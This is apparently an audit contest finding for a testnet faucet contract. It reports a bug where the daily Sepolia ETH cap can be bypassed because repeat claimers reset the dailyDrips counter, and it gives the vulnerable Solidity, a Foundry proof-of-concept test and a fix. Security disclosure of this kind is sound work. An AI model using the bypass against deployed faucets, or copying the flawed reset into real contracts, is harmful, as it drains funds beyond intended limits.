Raisebox Faucet

First Flight #50
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

Daily Sepolia ETH Cap Can Be Bypassed via Counter Reset

Root + Impact

Description

The dailySepEthCap mechanism designed to limit daily Sepolia ETH distribution can be completely bypassed, allowing the faucet to distribute significantly more ETH than intended. This occurs because the dailyDrips counter is incorrectly reset to 0 whenever a repeat claimer (user who has already claimed ETH before) calls claimFaucetTokens().

Severity Justification:

  • Loss of Funds: Protocol distributes more Sepolia ETH than budgeted

  • Easy to Exploit: No special setup required; occurs naturally with normal usage

  • Immediate Impact: Each repeat claimer's transaction resets the counter mid-day

Real World Scenario:
If dailySepEthCap = 0.5 ETH and 100 first time users claim (50 users → 0.25 ETH), then 1 repeat claimer claims (counter resets to 0), then 50 more first time users can claim again (0.25 ETH). Total: 0.5 ETH distributed but counter only shows 0.25 ETH.

Proof of Concept

The vulnerability exists in RaiseBoxFaucet.sol at lines 185-213:

if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
uint256 currentDay = block.timestamp / 24 hours;
if (currentDay > lastDripDay) {
lastDripDay = currentDay;
dailyDrips = 0; //Correct reset for new day
}
if (dailyDrips + sepEthAmountToDrip <= dailySepEthCap && address(this).balance >= sepEthAmountToDrip) {
hasClaimedEth[faucetClaimer] = true;
dailyDrips += sepEthAmountToDrip;
// ... sends ETH
}
} else {
dailyDrips = 0; // BUG: Resets counter mid day!
}

The Problem: Line 212 unconditionally resets dailyDrips = 0 when:

  • A user has already claimed ETH before (hasClaimedEth[user] == true), OR

  • ETH drips are paused (sepEthDripsPaused == true)

This resets the global daily counter in the middle of a day, breaking the cap mechanism.

Foundry Test Demonstrating the Exploit:

Add this test to your test suite:

function testDailyEthCapBypassViaCounterReset() public {
address Favour = makeAddr("Favour");
address Jolah = makeAddr("Jolah");
address Busayo = makeAddr("Busayo");
// Setup: Make Jolah a repeat claimer
vm.prank(Jolah);
raiseBoxFaucet.claimFaucetTokens();
// Advance to new day
advanceBlockTime(block.timestamp + 3 days + 5 hours);
// Trigger legitimate daily reset
address dummy = makeAddr("dummy");
vm.prank(dummy);
raiseBoxFaucet.claimFaucetTokens();
// Day 2: Favour claims (first timer)
vm.prank(Favour);
raiseBoxFaucet.claimFaucetTokens();
uint256 dailyDripsAfterFavour = raiseBoxFaucet.dailyDrips();
assertEq(dailyDripsAfterFavour, 0.01 ether); // dummy + Favour
// Jolah claims again (repeat claimer) TRIGGERS BUG
vm.prank(Jolah);
raiseBoxFaucet.claimFaucetTokens();
uint256 dailyDripsAfterJolah = raiseBoxFaucet.dailyDrips();
assertEq(dailyDripsAfterJolah, 0); // BUG: Counter reset
// Busayo can now claim (counter was reset)
vm.prank(Busayo);
raiseBoxFaucet.claimFaucetTokens();
// Calculate actual ETH distributed
uint256 totalEthDistributed = dummy.balance + Favour.balance + Busayo.balance;
uint256 counterValue = raiseBoxFaucet.dailyDrips();
// Actual: 0.015 ETH, Counter shows: 0.005 ETH
assertTrue(totalEthDistributed > counterValue);
}

Test Output:

Total ETH distributed TODAY: 15000000000000000 [0.015 ETH]
dailyDrips counter (final): 5000000000000000 [0.005 ETH]

Tools Used

  • Manual code review

  • Foundry testing framework

Recommended Mitigation Steps

Remove the else block that incorrectly resets the counter:

if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
uint256 currentDay = block.timestamp / 24 hours;
if (currentDay > lastDripDay) {
lastDripDay = currentDay;
dailyDrips = 0;
}
if (dailyDrips + sepEthAmountToDrip <= dailySepEthCap && address(this).balance >= sepEthAmountToDrip) {
hasClaimedEth[faucetClaimer] = true;
dailyDrips += sepEthAmountToDrip;
(bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");
if (success) {
emit SepEthDripped(faucetClaimer, sepEthAmountToDrip);
} else {
revert RaiseBoxFaucet_EthTransferFailed();
}
} else {
emit SepEthDripSkipped(
faucetClaimer,
address(this).balance < sepEthAmountToDrip ? "Faucet out of ETH" : "Daily ETH cap reached"
);
}
-} else {
- dailyDrips = 0;
}

The dailyDrips counter should only be reset when a new day begins , not when repeat claimers or paused drips occur.

Updates

Lead Judging Commences

inallhonesty Lead Judge 16 days ago
Submission Judgement Published
Validated
Assigned finding tags:

dailyDrips Reset Bug

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.